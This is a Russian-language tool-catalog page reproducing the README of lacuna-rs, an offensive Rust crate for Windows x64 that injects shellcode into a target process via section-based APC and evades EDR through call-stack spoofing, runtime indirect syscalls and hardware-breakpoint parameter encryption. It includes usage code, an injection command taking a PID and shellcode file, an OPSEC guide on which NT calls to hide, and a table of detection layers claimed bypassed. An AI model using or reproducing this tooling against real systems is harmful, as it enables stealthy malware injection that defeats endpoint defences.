Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
lacuna-rs — Rust крейт для спуфинга стека вызовов ghost-frame, runtime indirect syscalls и APC injection на Windows x64. Предоставляет разрешение SSN, эмиссию JIT-заглушек и шифрование параметров на основе VEH для обхода EDR. | Kitploit
Инструменты/GitHubGitHub/karkas66/lacuna-rs
Шелл-кодПост-эксплуатацияRed TeamingРазработка Полезной НагрузкиЭксплуатация Бинарных Файлов
GitHubkarkas66/lacuna-rs

lacuna-rs

Rust крейт для спуфинга стека вызовов ghost-frame, runtime indirect syscalls и APC injection на Windows x64. Предоставляет разрешение SSN, эмиссию JIT-заглушек и шифрование параметров на основе VEH для обхода EDR.

Репозиторий
1811 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

lacuna-rs

Спуфинг стекового кадра-призрака + косвенные системные вызовы во время выполнения для Windows x64 — портировано на Rust.

Портировано из LACUNA Chain (lacuna_chain.c) Мохамеда Альзхрани (0xmaz).

lacuna-rs — это переиспользуемый Rust-крейт, предоставляющий те же примитивы, что и оригинальная TTP на C, структурированный так, чтобы его можно было встроить в любой Rust-проект — как wsyscall-rs или syscalls-rs, но с разрешением SSN во время выполнения, нацеливанием на syscall;ret для каждой функции и спуфингом стекового кадра-призрака.


Критическое требование: указатель кадра

Функция stack-spoof будет молчаливо терпеть неудачу, если потребляющий крейт не скомпилирован с указателями кадров.

Примитивы затирания стека в chain.rs находят слот адреса возврата вызывающей функции через встроенный ассемблер mov rbp, {x}. Это требует, чтобы цепочка RBP была нетронутой. Rust (и большинство компиляторов в режиме релиза) по умолчанию опускают указатели кадров.

build.rs устанавливает force-frame-pointers=yes для собственной кодогенерации этого крейта, но Cargo не может распространять флаги компилятора на нижестоящие крейты. Вы должны добавить это в свой собственный проект:

root@kitploit:~
# .cargo/config.toml  (в ВАШЕМ крейте, не в lacuna-rs)
[build]
rustflags = ["-C", "force-frame-pointers=yes"]

Без этого stomp_plant() прочитает мусор из RBP и либо ничего не сделает (лучший случай), либо повредит стек (худший случай). У крейта нет возможности определить во время выполнения, включены ли указатели кадров — он просто не будет работать.

Если вам нужны только примитивы сканирования, разрешения SSN или внедрения (без спуфинга стека), вы можете опустить функцию stack-spoof, и это требование не применяется.


Что он делает


Флаги функций

root@kitploit:~
[dependencies]
lacuna-rs = { version = "0.1", features = ["inject", "stack-spoof", "veh"] }

Если ни одна функция не включена, доступны только уровни сканирования/PE/NT.


Быстрый старт

Сканирование областей-призраков

root@kitploit:~
cargo run --example scan

Построение + проверка цепочки кадров-призраков

root@kitploit:~
cargo run --example verify --features stack-spoof

Внедрение шеллкода через секцию + APC

Доказательство внедрения Пример внедрения с реальной нагрузкой — C2 был офлайн, но шеллкод выполнился

root@kitploit:~
cargo run --example inject --features inject,stack-spoof,veh -- <pid> <sc.bin>

Добавьте --verbose для включения диагностического вывода VEH (дампы стека, печать регистров):

root@kitploit:~
cargo run --example inject --features inject,stack-spoof,veh -- <pid> <sc.bin> --verbose

Алгоритм оценки потоков

Вместо постановки APC в очередь каждому потоку целевого процесса (что может привести к сбою, когда слишком много потоков одновременно оповещаются), inject_sapc использует алгоритм оценки для выбора лучших MAX_APC_THREADS (5) кандидатов:

  • Время цикла — NtQueryInformationThread(ThreadCycleTime) — основной индикатор активности
  • Время ЦП — NtQueryInformationThread(ThreadTimes) — время ядра + пользователя
  • Счетчик приостановок — NtQueryInformationThread(ThreadSuspendCount) — неприостановленные потоки получают +300 бонуса; приостановленные получают -150 за каждую приостановку
  • Приоритет — NtQueryInformationThread(ThreadBasicInformation) — потоки с приоритетом 8-10 получают +150 бонуса; приоритеты вне диапазона получают -100 штрафа

Полностью бездействующие потоки (нулевые циклы и нулевое время ЦП) полностью пропускаются. Оставшиеся кандидаты сортируются по баллам (наивысший первый, при равенстве по циклам) и усекаются до 5 верхних.


Использование в качестве библиотеки

Базовое: сканирование + разрешение SSN

root@kitploit:~
use lacuna::{scan, nt, win::get_module};

let ntdll = get_module(b"ntdll.dll\0");

// Сканирование областей-призраков
let mut ghosts = [scan::Ghost::default(); 512];
let n = scan::scan_ghosts(ntdll, &[b"NtAllocateVirtualMemory\0"], &mut ghosts);
println!("{} ghost regions in ntdll", n);

// Разрешение SSN + syscall;ret для конкретной функции
let (ssn, syscall_ret) = nt::resolve(ntdll, b"NtOpenProcess\0");
println!("NtOpenProcess: ssn={:#x}, syscall;ret={:#x}", ssn, syscall_ret);

Эмиссия заглушки косвенного системного вызова для любого NT API

root@kitploit:~
use lacuna::{nt, stub, win::{get_module, HMODULE}};

let ntdll: HMODULE = get_module(b"ntdll.dll\0");

// Разрешение SSN + адреса собственного syscall;ret функции
let (ssn, syscall_ret) = nt::resolve(ntdll, b"NtAllocateVirtualMemory\0");
assert!(ssn != nt::SSN_INVALID && syscall_ret != 0);

// JIT-эмиссия заглушки: mov r10,rcx; mov eax,SSN; jmp [syscall;ret]
// (или jmp [ghost_gadget] -> JMP [RBX] -> syscall;ret, если была вызвана build_chain)
let stub = stub::make_stub(ssn, syscall_ret).expect("не удалось выделить заглушку");

// Приведение к соответствующему типу указателя на функцию и вызов
let alloc_vm: unsafe extern "system" fn(
    win::HANDLE, *mut win::PVOID, usize, *mut usize, win::ULONG, win::ULONG,
) -> win::NTSTATUS = unsafe { core::mem::transmute(stub.as_fn()) };

Построение цепочки кадров-призраков + регистрация VEH

root@kitploit:~
// Сканирование ntdll/kernelbase/wow64/win32u на предмет областей-призраков и построение
// шестиуровневого поддельного стека вызовов. Устанавливает G_GHOST_GADGET, чтобы заглушки
// маршрутизировались через JMP [RBX] в подписанной DLL.
lacuna::chain::build_chain();

// Регистрация обработчиков VEH (шифрование параметров + защита цепочки)
let _veh = lacuna::veh::VehGuard::register().expect("Не удалось зарегистрировать VEH");

// Опционально: включение подробной диагностики во время выполнения
lacuna::veh::set_verbose(true);

Обёртывание чувствительного системного вызова со спуфингом стека + шифрованием параметров

root@kitploit:~
use lacuna::win::HANDLE;
use core::ptr;

let mut h_proc: HANDLE = ptr::null_mut();
let key: u64 = 0xCAFE_1337;

// Размещение кадров-призраков (замена адресов возврата на призраки из подписанных DLL)
lacuna::chain::stomp_plant();

// Установка DR0 на syscall;ret — VEH будет XOR-расшифровывать параметры на границе
lacuna::veh::pcrypt_arm(key, syscall_ret, true);

// Вызов через косвенную заглушку — RIP оказывается внутри ntdll на входе в ядро
let _status = unsafe { open_proc(/* XOR-зашифрованные параметры */) };

// Всегда снимайте защиту перед любым незащищённым вызовом
lacuna::veh::pcrypt_disarm();
lacuna::chain::stomp_restore();

OPSEC: Что прятать за кадрами-призраками

Не каждый вызов API требует полной обработки LACUNA. Ключевой принцип: прячьте те вызовы, которые EDR может связать с инъекцией или активностью после эксплуатации.

Должны быть за косвенными системными вызовами + кадрами-призраками + шифрованием параметров

Это «жемчужины» NT-системных вызовов, которые EDR хукают и коррелируют:

Для каждого из них:

  1. Разрешите с помощью nt::resolve(ntdll, b"NtXxx\0")
  2. Эмитируйте заглушку с помощью stub::make_stub(ssn, syscall_ret)
  3. XOR-зашифруйте чувствительные параметры с помощью veh::pcrypt_arm(key, syscall_ret, true)
  4. Оберните вызов между chain::stomp_plant() и chain::stomp_restore()

Могут быть прямыми (кадры-призраки не нужны)

Ключевые принципы

  1. Разрешайте любой NT-системный вызов с помощью nt::resolve(ntdll, b"NtXxx\0") — возвращает (SSN, syscall_ret_VA).
  2. Эмитируйте JIT-заглушку с помощью stub::make_stub(ssn, syscall_ret) — возвращает вызываемый указатель на функцию.
  3. Приводите заглушку к соответствующему типу extern "system" fn(...) через core::mem::transmute.
  4. (Только для чувствительных вызовов) Постройте цепочку кадров-призраков с помощью chain::build_chain() и вызывайте chain::stomp_plant() / chain::stomp_restore() вокруг вызова.
  5. (Только для чувствительных вызовов) Включите шифрование параметров с помощью veh::pcrypt_arm(key, syscall_ret, true) перед вызовом и veh::pcrypt_disarm() после него.
  6. Всегда снимайте защиту VEH перед выполнением незащищённых вызовов — случайное попадание DR0 на незащищённый системный вызов приведёт к сбою.

Заглушка автоматически обрабатывает последовательность mov r10, rcx / mov eax, SSN / jmp [syscall;ret]. Если был зарегистрирован гаджет-призрак, заглушка маршрутизируется через JMP [RBX] для двойного перенаправления выполнения + мостового кадра без артефактов.


Проверка освещения в статье

Все 9 ключевых вкладов из статьи о LACUNA Chain представлены в коде:

Покрытие поверхности обнаружения


Почему бы не использовать syscalls-rs?

syscalls-rs и wsyscall-rs генерируют таблицу SSN во время сборки для конкретной сборки ntdll Windows. Если на целевой машине другая сборка, SSN будут неверными, и системные вызовы будут терпеть неудачу (или вызывать эвристики EDR).

lacuna-rs разрешает SSN во время выполнения, напрямую читая заглушки ntdll, и нацеливается на собственную инструкцию syscall;ret функции, так что RIP оказывается внутри ntdll на входе в ядро — обходя эвристики EDR «несоответствие SSN» и «косвенный системный вызов из нерезервной памяти».

Кроме того, lacuna-rs предоставляет цепочку спуфинга стекового кадра-призрака, которой нет в syscalls-rs.


Требования к сборке

  • Цель: x86_64-pc-windows-msvc (или x86_64-pc-windows-gnu)
  • Редакция Rust: 2021
  • Зависимости: litcrypt2 (обфускация строк на этапе компиляции)

Настройка указателя кадра (только для stack-spoof)

Функция stack-spoof требует указатели кадров. build.rs автоматически устанавливает force-frame-pointers=yes для этого крейта, но потребляющие крейты также должны установить его в своём .cargo/config.toml:

root@kitploit:~
# .cargo/config.toml (в потребляющем крейте)
[build]
rustflags = ["-C", "force-frame-pointers=yes"]

Обфускация строк с помощью litcrypt2

Все строковые литералы в крейте и примерах обёрнуты в макросы lc!(), которые шифруют их на этапе компиляции и расшифровывают во время выполнения. Ключ шифрования читается из переменной окружения LITCRYPT_ENCRYPT_KEY; если она не установлена, litcrypt2 автоматически генерирует случайный ключ.

Чтобы зафиксировать ключ для воспроизводимых сборок:

root@kitploit:~
set LITCRYPT_ENCRYPT_KEY=ваш-секретный-ключ
cargo build

Архитектура

root@kitploit:~
lacuna-rs/
├── Cargo.toml
├── build.rs              # Устанавливает force-frame-pointers для stack-spoof
├── src/
│   ├── lib.rs            # Корень крейта + реэкспорт + scan_all() + настройка litcrypt2
│   ├── win.rs            # Привязки FFI Win32/NT (совместимо с no_std)
│   ├── pe.rs             # Парсинг PE-секций и экспорта
│   ├── scan.rs           # Сканирование областей-призраков .pdata + гаджетов
│   ├── nt.rs             # Разрешение SSN + нацеливание syscall;ret
│   ├── stub.rs           # JIT-эмиссия заглушки косвенного системного вызова
│   ├── veh.rs            # VEH + шифрование параметров аппаратной точкой останова
│   ├── chain.rs          # Цепочка кадров-призраков LACUNA + затирание
│   └── inject.rs         # Внедрение APC на основе секций
├── examples/
│   ├── scan.rs           # lacuna.exe scan
│   ├── verify.rs         # lacuna.exe verify
│   └── inject.rs         # lacuna.exe inject <pid> <sc.bin>
└── .cargo/
    └── config.toml       # force-frame-pointers + цель windows-msvc

Благодарности

  • Оригинальное исследование и реализация на C: Мохамед Альзхрани (0xmaz) — LACUNA Chain
  • Техника: Ghost Frames: Forging Plausible Call Stacks from .pdata Lacunae
  • Логика поиска лучшего потока APC: Адаптировано из FrankensteinAPCInjection от S12cybersecurity
  • Обфускация строк: litcrypt2 v0.1.3

Полное раскрытие

В этом проекте активно участвовал AI-чат-бот. У меня была возможность протестировать более новую, очень способную модель с открытым исходным кодом (GLM-5.2 от Z.ai (Zhipu AI)), и я хотел дать ей сложную задачу. Выводы: она работала хорошо, если человек знал, как должны выглядеть результаты. Если нет... только ерунда.

Лицензия

MIT

Скачать инструмент
ПримитивC-функцияМодуль Rust
Парсинг PE-секций и экспортаpe_section(), pe_export()pe
Сканирование областей-призраков .pdatascan_ghosts(), best_ghost()scan
Обнаружение гаджетов-призраков (jmp [rbx])scan_ghost_gadgets()scan
Поиск NOP-пробелов в win32uwin32u_nop_gap()scan
Поиск якоря BYOUD-MFfind_mf_target()scan
Разрешение SSN (Hell's Gate / Halo's Gate)resolve_ssn()nt
Локатор syscall;ret для каждой функцииfind_func_syscall()nt
JIT-эмиссия заглушки косвенного системного вызоваalloc_stub()stub
Перенаправление заглушки через гаджет-призрак(в alloc_stub())stub
VEH + шифрование параметров аппаратной точкой остановаparam_encrypt_veh(), pcrypt_arm()veh
VEH-защита цепочкиchain_veh()veh
Построение цепочки LACUNAbuild_chain()chain
Затирание стека (BYOUD-RT)stomp_plant(), stomp_restore()chain
Обходчик цепочки (проверка)lacuna_walk_chain()chain
Внедрение APC на основе секцийdo_inject_sapc()inject
ФункцияОписаниеТребует указатели кадров?
syscalls (по умолчанию)Разрешение SSN + JIT-эмиссия заглушекНет
inject (по умолчанию)Внедрение APC на основе секций (inject::inject_sapc)Нет
vehVEH + шифрование параметров аппаратной точкой остановаНет
stack-spoofЦепочка кадров-призраков LACUNA + затирание стекаДа
no-stdРежим no_std (экспериментально)Нет
ВызовПочему чувствителен
NtOpenProcessОткрывает дескриптор другого процесса — первый шаг инъекции
NtCreateSection + NtMapViewOfSection (удалённо)Признак инъекции на основе секций
NtWriteVirtualMemoryЗапись между процессами — классический индикатор инъекции
NtCreateThreadExСоздание удалённого потока — примитив инъекции с самым высоким сигналом
NtQueueApcThreadAPC-инъекция — высокий сигнал
NtProtectVirtualMemoryИзменение прав на RWX — индикатор подготовки шеллкода
NtAllocateVirtualMemory (удалённо)Удалённое выделение — прелюдия к инъекции
NtSetInformationThreadСокрытие потока (HideFromDebugger) — индикатор сокрытия
ВызовПочему безопасен
NtQueryInformationThreadТолько запрос, редко хукается, нет межпроцессной записи
NtDelayExecutionСон — безвреден, используется каждым приложением
NtCloseЗакрытие дескриптора — безвредно, крайне распространено
GetModuleHandleA / GetProcAddressРазрешение модуля — не системный вызов, не хукается пользовательскими хуками EDR
CreateToolhelp32Snapshot / Thread32First / Thread32NextПеречисление потоков — kernel32, не syscall ntdll
OpenThread / CloseHandleСтандартные операции с дескрипторами — kernel32
GetThreadContext / SetThreadContextНеобходимы для DR0 — kernel32, только для своего процесса
  • Все выходные строки должны быть обёрнуты в lc!() — крейт это требует, а диагностика VEH скрыта за set_verbose(true), которое по умолчанию выключено.
  • #Концепция статьиРасположение в кодеОписание
    1BYOUD-Gap (нулевая модификация .pdata)chain.rs — построение цепочки кадров-призраковЭксплуатирует промежутки между записями RUNTIME_FUNCTION; обработчик размотки считает их листовыми кадрами (RSP += 8)
    2ETW-Ti APC Window Attackinject.rs — NtDelayExecution прерываемый сливКонтролирует момент срабатывания снимка стека APC ETW-Ti, манипулируя прерываемым состоянием потока
    3Шифрование параметров в контексте BYOUDveh.rs — pcrypt_arm(), param_encrypt_veh()XOR-шифрование параметров системного вызова на этапе подготовки; расшифровка внутри VEH аппаратной точки останова на инструкции syscall
    4Цепочка NOP-пробелов Win32u + гаджет-призракscan.rs — win32u_nop_gap(), scan_ghost_gadgets()1242 NOP-пробела в win32u.dll предоставляют легитимные листовые кадры; гаджет-призрак JMP [RBX] по адресу ntdll+0xFC47B
    5Семантическая близость призраков kernelbasechain.rs — слой L2_kbase рядом с VirtualProtectПризрак длиной 238 байт, заканчивающийся на точке входа VirtualProtect — неотличим от реального места возврата VP
    6BYOUD-MF (Телепорт RSP машинного кадра)chain.rs — структура MachFrame, scan.rs — find_mf_target()Эксплуатирует UWOP_PUSH_MACHFRAME (код операции 10) в диспетчерах KiUser* для произвольного телепорта RSP в одном кадре
    7BYOUD-RT (Вычисление RSP во время выполнения)chain.rs — teb_stack_base(), teb_stack_limit()Читает TEB.StackBase (GS:[0x08]) во время вызова для точного вычисления расстояния кадра — предварительная калибровка не нужна
    8Близость призраков wow64.dllchain.rs — слой L1_wow64, scan.rs — цели Wow64PrepareForExceptionПризрак длиной 91 байт, заканчивающийся на входе Wow64PrepareForException — четвёртый семантический слой цепочки
    9Шестиуровневая цепочка LACUNAchain.rs — структура LacunaStack (L1-L5 + MachFrame)Полная цепочка: KiUserExceptionDispatcher -> wow64 -> kernelbase -> ntdll -> win32u -> RtlUserThreadStart
    Уровень обнаруженияСтатусРеализация
    Проверка модуля происхожденияОБХОДВсе кадры в ntdll / kernelbase / wow64 / win32u
    Корректность обхода размоткиОБХОДВсе кадры lacuna листовые -> корректно RSP+8
    Криминалистическое сканирование .pdataОБХОДНулевая модификация; пробелы уже существуют
    Теневая стопка CETОБХОДЧисто листовая цепочка; теневая стопка не используется
    Семантический анализ кадровОБХОДWoW64 исключение + соседство VirtualProtect
    Исключение из правил Win32uОБХОДСлой 4 явно исключён всеми правилами
    ETW-Ti STACKWALKОБХОДАтака через окно APC контролирует момент снимка
    Проверка параметровОБХОДРасшифровка через VEH аппаратной точки останова
    Callbacks ядраЧАСТИЧНООперации с дескрипторами всё ещё вызывают ObRegisterCallbacks